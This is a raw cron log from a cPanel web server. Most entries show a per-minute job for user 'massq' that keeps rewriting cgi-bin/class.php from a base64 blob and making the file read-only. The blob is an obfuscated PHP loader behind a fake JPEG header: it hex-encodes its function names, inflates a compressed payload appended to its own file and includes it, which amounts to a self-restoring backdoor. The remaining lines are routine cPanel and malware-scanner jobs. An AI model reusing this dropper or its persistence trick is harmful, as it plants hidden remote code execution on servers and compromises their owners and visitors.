Nov 15 21:32:01 server CROND[24849]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 21:33:01 server CROND[25115]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 21:34:01 server CROND[25370]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 21:35:01 server CROND[25722]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov 15 21:35:01 server CROND[25726]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 15 21:35:01 server CROND[25728]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 21:35:01 server CROND[25727]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 21:35:01 server CROND[25729]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 21:36:01 server CROND[26046]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 21:37:01 server CROND[26298]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 21:38:01 server CROND[26561]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 21:39:01 server CROND[26827]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 21:39:01 server CROND[26828]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 15 21:40:01 server CROND[27098]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 21:40:01 server CROND[27099]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 21:40:01 server CROND[27100]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 21:40:01 server CROND[27101]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 15 21:41:01 server CROND[27511]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 21:42:01 server CROND[27769]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 21:42:01 server CROND[27770]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 15 21:43:01 server CROND[28033]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 21:44:01 server CROND[28287]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 21:45:01 server CROND[28556]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 21:45:01 server CROND[28557]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
